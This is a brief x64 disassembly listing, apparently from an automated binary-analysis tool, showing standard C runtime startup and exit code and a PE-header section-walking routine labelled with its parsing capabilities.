je 0x140001978
test sil, sil
jne 0x14000192d
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001159
mov eax, ebx
jmp 0x140001953
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140001113
nop
mov ecx, 7
call fcn.140001113
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.140001181
add rsp, 0x28
jmp 0x14000180c

Function at 0x140001118
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140001edc
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140001f6a
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140001f6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f6a
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140001f51
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001f4b
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140001f53
add rdx, 0x28
jmp 0x140001f30
xor edx, edx
test rdx, rdx
jne 0x140001f5c
xor al, al
jmp 0x140001f70
cmp dword [rdx + 0x24], 0
jge 0x140001f66
xor al, al
jmp 0x140001f70
mov al, 1
jmp 0x140001f70
xor al, al
jmp 0x140001f70
add rsp, 0x18
ret